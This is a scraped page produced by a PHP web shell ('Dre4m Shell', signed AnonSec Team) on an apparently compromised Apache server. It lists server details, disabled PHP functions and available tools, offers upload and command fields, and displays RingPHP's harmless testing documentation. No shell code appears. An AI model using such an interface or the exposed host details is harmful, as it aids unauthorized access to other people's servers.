Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.138.113.73
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vendor/guzzlehttp/ringphp/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/vendor/guzzlehttp/ringphp/docs/testing.rst
=======
Testing
=======

RingPHP tests client handlers using `PHPUnit <https://phpunit.de/>`_ and a
built-in node.js web server.

Running Tests
-------------

First, install the dependencies using `Composer <https://getcomposer.org>`_.

    composer.phar install

Next, run the unit tests using ``Make``.

    make test

The tests are also run on Travis-CI on each commit: https://travis-ci.org/guzzle/guzzle-ring

Test Server
-----------

Testing client handlers usually involves actually sending HTTP requests.
RingPHP provides a node.js web server that returns canned responses and
keep a list of the requests that have been received. The server can then
be queried to get a list of the requests that were sent by the client so that
you can ensure that the client serialized and transferred requests as intended.

The server keeps a list of queued responses and returns responses that are
popped off of the queue as HTTP requests are received. When there are not
more responses to serve, the server returns a 500 error response.

The test server uses the ``GuzzleHttp\Tests\Ring\Client\Server`` class to
control the server.

.. code-block:: php

    use GuzzleHttp\Ring\Client\StreamHandler;
    use GuzzleHttp\Tests\Ring\Client\Server;

    // First return a 200 followed by a 404 response.
    Server::enqueue([
        ['status' => 200],
        ['status' => 404]
    ]);

    $handler = new StreamHandler();

    $response = $handler([
        'http_method' => 'GET',
        'headers'     => ['host' => [Server::$host]],
        'uri'         => '/'
    ]);

    assert(200 == $response['status']);

    $response = $handler([
        'http_method' => 'HEAD',
        'headers'     => ['host' => [Server::$host]],
        'uri'         => '/'
    ]);

    assert(404 == $response['status']);

After requests have been sent, you can get a list of the requests as they
were sent over the wire to ensure they were sent correctly.

.. code-block:: php

    $received = Server::received();

    assert('GET' == $received[0]['http_method']);
    assert('HEAD' == $received[1]['http_method']);

Anon7 - 2022
AnonSec Team